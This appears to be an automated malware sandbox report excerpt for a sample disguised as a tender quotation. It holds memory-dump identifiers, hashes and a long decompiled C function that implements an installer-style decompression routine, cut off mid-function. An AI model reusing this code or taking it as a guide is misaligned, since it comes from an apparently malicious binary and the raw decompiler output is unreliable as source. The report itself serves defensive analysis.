          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CharNext$AttributesFilelstrcpynlstrlen
          • String ID: P_B
          • API String ID: 3248276644-906794629
          • Opcode ID: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
          • Instruction ID: df110f430b83b9381375b5fd3fa67f6c4419d4890c6468873e0fced3c2676832
          • Opcode Fuzzy Hash: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
          • Instruction Fuzzy Hash: 0DF07826144A1216E622B23A0C05BAF05098F82354B07063FFC93B22E1DF3C8973C43E
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 99%
          			E00407194() {
          				signed int _t530;
          				void _t537;
          				signed int _t538;
          				signed int _t539;
          				unsigned short _t569;
          				signed int _t579;
          				signed int _t607;
          				void* _t627;
          				signed int _t628;
          				signed int _t635;
          				signed int* _t643;
          				void* _t644;
          
          				L0:
          				while(1) {
          					L0:
          					_t530 =  *(_t644 - 0x30);
          					if(_t530 >= 4) {
          					}
          					 *(_t644 - 0x40) = 6;
          					 *(_t644 - 0x7c) = 0x19;
          					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
          					while(1) {
          						L145:
          						 *(_t644 - 0x50) = 1;
          						 *(_t644 - 0x48) =  *(_t644 - 0x40);
          						while(1) {
          							L149:
          							if( *(_t644 - 0x48) <= 0) {
          								goto L155;
          							}
          							L150:
          							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
          							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
          							 *(_t644 - 0x54) = _t643;
          							_t569 =  *_t643;
          							_t635 = _t569 & 0x0000ffff;
          							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
          							if( *(_t644 - 0xc) >= _t607) {
          								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
          								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
          								_t628 = _t627 + 1;
          								 *_t643 = _t569 - (_t569 >> 5);
          								 *(_t644 - 0x50) = _t628;
          							} else {
          								 *(_t644 - 0x10) = _t607;
          								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
          								 *_t643 = (0x800 - _t635 >> 5) + _t569;
          							}
          							if( *(_t644 - 0x10) >= 0x1000000) {
          								L148:
          								_t487 = _t644 - 0x48;
          								 *_t487 =  *(_t644 - 0x48) - 1;
          								L149:
          								if( *(_t644 - 0x48) <= 0) {
          									goto L155;
          								}
          								goto L150;
          							} else {
          								L154:
          								L146:
          								if( *(_t644 - 0x6c) == 0) {
          									L169:
          									 *(_t644 - 0x88) = 0x18;
          									L170:
          									_t579 = 0x22;
          									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
          									_t539 = 0;
          									L172:
          									return _t539;
          								}
          								L147:
          								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
          								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
          								_t484 = _t644 - 0x70;
          								 *_t484 =  &(( *(_t644 - 0x70))[1]);
          								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
          								goto L148;
          							}
          							L155:
          							_t537 =  *(_t644 - 0x7c);
          							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
          							while(1) {
          								L140:
          								 *(_t644 - 0x88) = _t537;
          								while(1) {
          									L1:
          									_t538 =  *(_t644 - 0x88);
          									if(_t538 > 0x1c) {
          										break;
          									}
          									L2:
          									switch( *((intOrPtr*)(_t538 * 4 +  &M00407602))) {
          										case 0:
          											L3:
          											if( *(_t644 - 0x6c) == 0) {
          												goto L170;
          											}
          											L4:
          											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
          											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
          											_t538 =  *( *(_t644 - 0x70));
          											if(_t538 > 0xe1) {
          												goto L171;
          											}
          											L5:
          											_t542 = _t538 & 0x000000ff;
          											_push(0x2d);
          											asm("cdq");
          											_pop(_t581);
          											_push(9);
          											_pop(_t582);
          											_t638 = _t542 / _t581;
          											_t544 = _t542 % _t581 & 0x000000ff;
          											asm("cdq");
          											_t633 = _t544 % _t582 & 0x000000ff;
          											 *(_t644 - 0x3c) = _t633;
          											 *(_t644 - 0x1c) = (1 << _t638) - 1;
          											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
          											_t641 = (0x300 << _t633 + _t638) + 0x736;
          											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
          												L10:
          												if(_t641 == 0) {
          													L12:
          													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
          													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
          													goto L15;
          												} else {
          													goto L11;
          												}
          												do {
          													L11:
          													_t641 = _t641 - 1;
          													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
          												} while (_t641 != 0);
          												goto L12;
          											}
          											L6:
          											if( *(_t644 - 4) != 0) {
          												GlobalFree( *(_t644 - 4));
          											}
          											_t538 = GlobalAlloc(0x40, 0x600); // executed
          											 *(_t644 - 4) = _t538;
          											if(_t538 == 0) {
          												goto L171;
          											} else {
          												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
          												goto L10;
          											}
          										case 1:
          											L13:
          											__eflags =  *(_t644 - 0x6c);
          											if( *(_t644 - 0x6c) == 0) {
          												L157:
          												 *(_t644 - 0x88) = 1;
          												goto L170;
          											}
          											L14:
          											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
          											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
          											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
          											_t45 = _t644 - 0x48;
          											 *_t45 =  *(_t644 - 0x48) + 1;
          											__eflags =  *_t45;
          											L15:
          											if( *(_t644 - 0x48) < 4) {
          												goto L13;
          											}
          											L16:
          											_t550 =  *(_t644 - 0x40);
          											if(_t550 ==  *(_t644 - 0x74)) {
          												L20:
          												 *(_t644 - 0x48) = 5;
          												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
          												goto L23;
          											}
          											L17:
          											 *(_t644 - 0x74) = _t550;
          											if( *(_t644 - 8) != 0) {
          												GlobalFree( *(_t644 - 8));
          											}
          											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
          											 *(_t644 - 8) = _t538;
          											if(_t538 == 0) {
          												goto L171;
          											} else {
          												goto L20;
          											}
          										case 2:
          											L24:
          											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
          											 *(_t644 - 0x84) = 6;
          											 *(_t644 - 0x4c) = _t557;
          											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
          											goto L132;
          										case 3:
          											L21:
          											__eflags =  *(_t644 - 0x6c);
          											if( *(_t644 - 0x6c) == 0) {
          												L158:
          												 *(_t644 - 0x88) = 3;
          												goto L170;
          											}
          											L22:
          											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
          											_t67 = _t644 - 0x70;
          											 *_t67 =  &(( *(_t644 - 0x70))[1]);
          											__eflags =  *_t67;
          											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
          											L23:
          											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
          											if( *(_t644 - 0x48) != 0) {
          												goto L21;
          											}
          											goto L24;
          										case 4:
          											L133:
          											_t559 =  *_t642;
          											_t626 = _t559 & 0x0000ffff;
          											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
          											if( *(_t644 - 0xc) >= _t596) {
          												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
          												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
          												 *(_t644 - 0x40) = 1;
          												_t560 = _t559 - (_t559 >> 5);
          												__eflags = _t560;
          												 *_t642 = _t560;
          											} else {
          												 *(_t644 - 0x10) = _t596;
          												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
          												 *_t642 = (0x800 - _t626 >> 5) + _t559;
          											}
          											if( *(_t644 - 0x10) >= 0x1000000) {
          												goto L139;
          											} else {
          												goto L137;
          											}
          										case 5:
          											L137:
          											if( *(_t644 - 0x6c) == 0) {
          												L168:
          												 *(_t644 - 0x88) = 5;
          												goto L170;
          											}
          											L138:
          											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
          											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
          											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
          											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
          											L139:
          											_t537 =  *(_t644 - 0x84);
          											L140:
          											 *(_t644 - 0x88) = _t537;
          											goto L1;
          										case 6:
          											L25:
          											__edx = 0;
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												L36:
          												__eax =  *(__ebp - 4);
          												__ecx =  *(__ebp - 0x38);
          												 *(__ebp - 0x34) = 1;
          												 *(__ebp - 0x84) = 7;
          												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
          												goto L132;
          											}
          											L26:
          											__eax =  *(__ebp - 0x5c) & 0x000000ff;
          											__esi =  *(__ebp - 0x60);
          											__cl = 8;
          											__cl = 8 -  *(__ebp - 0x3c);
          											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
          											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
          											__ecx =  *(__ebp - 0x3c);
          											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
          											__ecx =  *(__ebp - 4);
          											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
          											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
          											__eflags =  *(__ebp - 0x38) - 4;
          											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          											if( *(__ebp - 0x38) >= 4) {
          												__eflags =  *(__ebp - 0x38) - 0xa;
          												if( *(__ebp - 0x38) >= 0xa) {
          													_t98 = __ebp - 0x38;
          													 *_t98 =  *(__ebp - 0x38) - 6;
          													__eflags =  *_t98;
          												} else {
          													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
          												}
          											} else {
          												 *(__ebp - 0x38) = 0;
          											}
          											__eflags =  *(__ebp - 0x34) - __edx;
          											if( *(__ebp - 0x34) == __edx) {
          												L35:
          												__ebx = 0;
          												__ebx = 1;
          												goto L61;
          											} else {
          												L32:
          												__eax =  *(__ebp - 0x14);
          												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          												__eflags = __eax -  *(__ebp - 0x74);
          												if(__eax >=  *(__ebp - 0x74)) {
          													__eax = __eax +  *(__ebp - 0x74);
          													__eflags = __eax;
          												}
          												__ecx =  *(__ebp - 8);
          												__ebx = 0;
          												__ebx = 1;
          												__al =  *((intOrPtr*)(__eax + __ecx));
          												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
          												goto L41;
          											}
          										case 7:
          											L66:
          											__eflags =  *(__ebp - 0x40) - 1;
          											if( *(__ebp - 0x40) != 1) {
          												L68:
          												__eax =  *(__ebp - 0x24);
          												 *(__ebp - 0x80) = 0x16;
          												 *(__ebp - 0x20) =  *(__ebp - 0x24);
          												__eax =  *(__ebp - 0x28);
          												 *(__ebp - 0x24) =  *(__ebp - 0x28);
          												__eax =  *(__ebp - 0x2c);
          												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          												__eax = 0;
          												__eflags =  *(__ebp - 0x38) - 7;
          												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          												__al = __al & 0x000000fd;
          												__eax = (__eflags >= 0) - 1 + 0xa;
          												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
          												__eax =  *(__ebp - 4);
          												__eax =  *(__ebp - 4) + 0x664;
          												__eflags = __eax;
          												 *(__ebp - 0x58) = __eax;
          												goto L69;
          											}
          											L67:
          											__eax =  *(__ebp - 4);
          											__ecx =  *(__ebp - 0x38);
          											 *(__ebp - 0x84) = 8;
          											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
          											goto L132;
          										case 8:
          											L70:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												__eax =  *(__ebp - 4);
          												__ecx =  *(__ebp - 0x38);
          												 *(__ebp - 0x84) = 0xa;
          												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
          											} else {
          												__eax =  *(__ebp - 0x38);
          												__ecx =  *(__ebp - 4);
          												__eax =  *(__ebp - 0x38) + 0xf;
          												 *(__ebp - 0x84) = 9;
          												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
          												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
          											}
          											goto L132;
          										case 9:
          											L73:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												goto L90;
          											}
          											L74:
          											__eflags =  *(__ebp - 0x60);
          											if( *(__ebp - 0x60) == 0) {
          												goto L171;
          											}
          											L75:
          											__eax = 0;
          											__eflags =  *(__ebp - 0x38) - 7;
          											_t259 =  *(__ebp - 0x38) - 7 >= 0;
          											__eflags = _t259;
          											0 | _t259 = _t259 + _t259 + 9;
          											 *(__ebp - 0x38) = _t259 + _t259 + 9;
          											goto L76;
          										case 0xa:
          											L82:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												L84:
          												__eax =  *(__ebp - 4);
          												__ecx =  *(__ebp - 0x38);
          												 *(__ebp - 0x84) = 0xb;
          												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
          												goto L132;
          											}
          											L83:
          											__eax =  *(__ebp - 0x28);
          											goto L89;
          										case 0xb:
          											L85:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												__ecx =  *(__ebp - 0x24);
          												__eax =  *(__ebp - 0x20);
          												 *(__ebp - 0x20) =  *(__ebp - 0x24);
          											} else {
          												__eax =  *(__ebp - 0x24);
          											}
          											__ecx =  *(__ebp - 0x28);
          											 *(__ebp - 0x24) =  *(__ebp - 0x28);
          											L89:
          											__ecx =  *(__ebp - 0x2c);
          											 *(__ebp - 0x2c) = __eax;
          											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          											L90:
          											__eax =  *(__ebp - 4);
          											 *(__ebp - 0x80) = 0x15;
          											__eax =  *(__ebp - 4) + 0xa68;
          											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
          											goto L69;
          										case 0xc:
          											L99:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												L164:
          												 *(__ebp - 0x88) = 0xc;
          												goto L170;
          											}
          											L100:
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t334 = __ebp - 0x70;
          											 *_t334 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t334;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											__eax =  *(__ebp - 0x2c);
          											goto L101;
          										case 0xd:
          											L37:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												L159:
          												 *(__ebp - 0x88) = 0xd;
          												goto L170;
          											}
          											L38:
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t122 = __ebp - 0x70;
          											 *_t122 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t122;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											L39:
          											__eax =  *(__ebp - 0x40);
          											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
          											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
          												goto L48;
          											}
          											L40:
          											__eflags = __ebx - 0x100;
          											if(__ebx >= 0x100) {
          												goto L54;
          											}
          											L41:
          											__eax =  *(__ebp - 0x5b) & 0x000000ff;
          											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
          											__ecx =  *(__ebp - 0x58);
          											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
          											 *(__ebp - 0x48) = __eax;
          											__eax = __eax + 1;
          											__eax = __eax << 8;
          											__eax = __eax + __ebx;
          											__esi =  *(__ebp - 0x58) + __eax * 2;
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          											__ax =  *__esi;
          											 *(__ebp - 0x54) = __esi;
          											__edx = __ax & 0x0000ffff;
          											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
          											__eflags =  *(__ebp - 0xc) - __ecx;
          											if( *(__ebp - 0xc) >= __ecx) {
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          												__cx = __ax;
          												 *(__ebp - 0x40) = 1;
          												__cx = __ax >> 5;
          												__eflags = __eax;
          												__ebx = __ebx + __ebx + 1;
          												 *__esi = __ax;
          											} else {
          												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
          												 *(__ebp - 0x10) = __ecx;
          												0x800 = 0x800 - __edx;
          												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
          												__ebx = __ebx + __ebx;
          												 *__esi = __cx;
          											}
          											__eflags =  *(__ebp - 0x10) - 0x1000000;
          											 *(__ebp - 0x44) = __ebx;
          											if( *(__ebp - 0x10) >= 0x1000000) {
          												goto L39;
          											} else {
          												L45:
          												goto L37;
          											}
          										case 0xe:
          											L46:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												L160:
          												 *(__ebp - 0x88) = 0xe;
          												goto L170;
          											}
          											L47:
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t156 = __ebp - 0x70;
          											 *_t156 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t156;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											while(1) {
          												L48:
          												__eflags = __ebx - 0x100;
          												if(__ebx >= 0x100) {
          													break;
          												}
          												L49:
          												__eax =  *(__ebp - 0x58);
          												__edx = __ebx + __ebx;
          												__ecx =  *(__ebp - 0x10);
          												__esi = __edx + __eax;
          												__ecx =  *(__ebp - 0x10) >> 0xb;
          												__ax =  *__esi;
          												 *(__ebp - 0x54) = __esi;
          												__edi = __ax & 0x0000ffff;
          												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          												__eflags =  *(__ebp - 0xc) - __ecx;
          												if( *(__ebp - 0xc) >= __ecx) {
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          													__cx = __ax;
          													_t170 = __edx + 1; // 0x1
          													__ebx = _t170;
          													__cx = __ax >> 5;
          													__eflags = __eax;
          													 *__esi = __ax;
          												} else {
          													 *(__ebp - 0x10) = __ecx;
          													0x800 = 0x800 - __edi;
          													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          													__ebx = __ebx + __ebx;
          													 *__esi = __cx;
          												}
          												__eflags =  *(__ebp - 0x10) - 0x1000000;
          												 *(__ebp - 0x44) = __ebx;
          												if( *(__ebp - 0x10) >= 0x1000000) {
          													continue;
          												} else {
          													L53:
          													goto L46;
          												}
          											}
          											L54:
          											_t173 = __ebp - 0x34;
          											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
          											__eflags =  *_t173;
          											goto L55;
          										case 0xf:
          											L58:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												L161:
          												 *(__ebp - 0x88) = 0xf;
          												goto L170;
          											}
          											L59:
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t203 = __ebp - 0x70;
          											 *_t203 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t203;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											L60:
          											__eflags = __ebx - 0x100;
          											if(__ebx >= 0x100) {
          												L55:
          												__al =  *(__ebp - 0x44);
          												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
          												goto L56;
          											}
          											L61:
          											__eax =  *(__ebp - 0x58);
          											__edx = __ebx + __ebx;
          											__ecx =  *(__ebp - 0x10);
          											__esi = __edx + __eax;
          											__ecx =  *(__ebp - 0x10) >> 0xb;
          											__ax =  *__esi;
          											 *(__ebp - 0x54) = __esi;
          											__edi = __ax & 0x0000ffff;
          											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          											__eflags =  *(__ebp - 0xc) - __ecx;
          											if( *(__ebp - 0xc) >= __ecx) {
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          												__cx = __ax;
          												_t217 = __edx + 1; // 0x1
          												__ebx = _t217;
          												__cx = __ax >> 5;
          												__eflags = __eax;
          												 *__esi = __ax;
          											} else {
          												 *(__ebp - 0x10) = __ecx;
          												0x800 = 0x800 - __edi;
          												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          												__ebx = __ebx + __ebx;
          												 *__esi = __cx;
          											}
          											__eflags =  *(__ebp - 0x10) - 0x1000000;
          											 *(__ebp - 0x44) = __ebx;
          											if( *(__ebp - 0x10) >= 0x1000000) {
          												goto L60;
          											} else {
          												L65:
          												goto L58;
          											}
          										case 0x10:
          											L109:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												L165:
          												 *(__ebp - 0x88) = 0x10;
          												goto L170;
          											}
          											L110:
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t365 = __ebp - 0x70;
          											 *_t365 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t365;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											goto L111;
          										case 0x11:
          											L69:
          											__esi =  *(__ebp - 0x58);
          											 *(__ebp - 0x84) = 0x12;
          											goto L132;
          										case 0x12:
          											L128:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												L131:
          												__eax =  *(__ebp - 0x58);
          												 *(__ebp - 0x84) = 0x13;
          												__esi =  *(__ebp - 0x58) + 2;
          												L132:
          												 *(_t644 - 0x54) = _t642;
          												goto L133;
          											}
          											L129:
          											__eax =  *(__ebp - 0x4c);
          											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
          											__ecx =  *(__ebp - 0x58);
          											__eax =  *(__ebp - 0x4c) << 4;
          											__eflags = __eax;
          											__eax =  *(__ebp - 0x58) + __eax + 4;
          											goto L130;
          										case 0x13:
          											L141:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												L143:
          												_t469 = __ebp - 0x58;
          												 *_t469 =  *(__ebp - 0x58) + 0x204;
          												__eflags =  *_t469;
          												 *(__ebp - 0x30) = 0x10;
          												 *(__ebp - 0x40) = 8;
          												L144:
          												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
          												L145:
          												 *(_t644 - 0x50) = 1;
          												 *(_t644 - 0x48) =  *(_t644 - 0x40);
          												goto L149;
          											}
          											L142:
          											__eax =  *(__ebp - 0x4c);
          											__ecx =  *(__ebp - 0x58);
          											__eax =  *(__ebp - 0x4c) << 4;
          											 *(__ebp - 0x30) = 8;
          											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
          											L130:
          											 *(__ebp - 0x58) = __eax;
          											 *(__ebp - 0x40) = 3;
          											goto L144;
          										case 0x14:
          											L156:
          											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
          											__eax =  *(__ebp - 0x80);
          											while(1) {
          												L140:
          												 *(_t644 - 0x88) = _t537;
          												goto L1;
          											}
          										case 0x15:
          											L91:
          											__eax = 0;
          											__eflags =  *(__ebp - 0x38) - 7;
          											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          											__al = __al & 0x000000fd;
          											__eax = (__eflags >= 0) - 1 + 0xb;
          											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
          											goto L120;
          										case 0x16:
          											goto L0;
          										case 0x17:
          											while(1) {
          												L145:
          												 *(_t644 - 0x50) = 1;
          												 *(_t644 - 0x48) =  *(_t644 - 0x40);
          												goto L149;
          											}
          										case 0x18:
          											goto L146;
          										case 0x19:
          											L94:
          											__eflags = __ebx - 4;
          											if(__ebx < 4) {
          												L98:
          												 *(__ebp - 0x2c) = __ebx;
          												L119:
          												_t393 = __ebp - 0x2c;
          												 *_t393 =  *(__ebp - 0x2c) + 1;
          												__eflags =  *_t393;
          												L120:
          												__eax =  *(__ebp - 0x2c);
          												__eflags = __eax;
          												if(__eax == 0) {
          													L166:
          													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
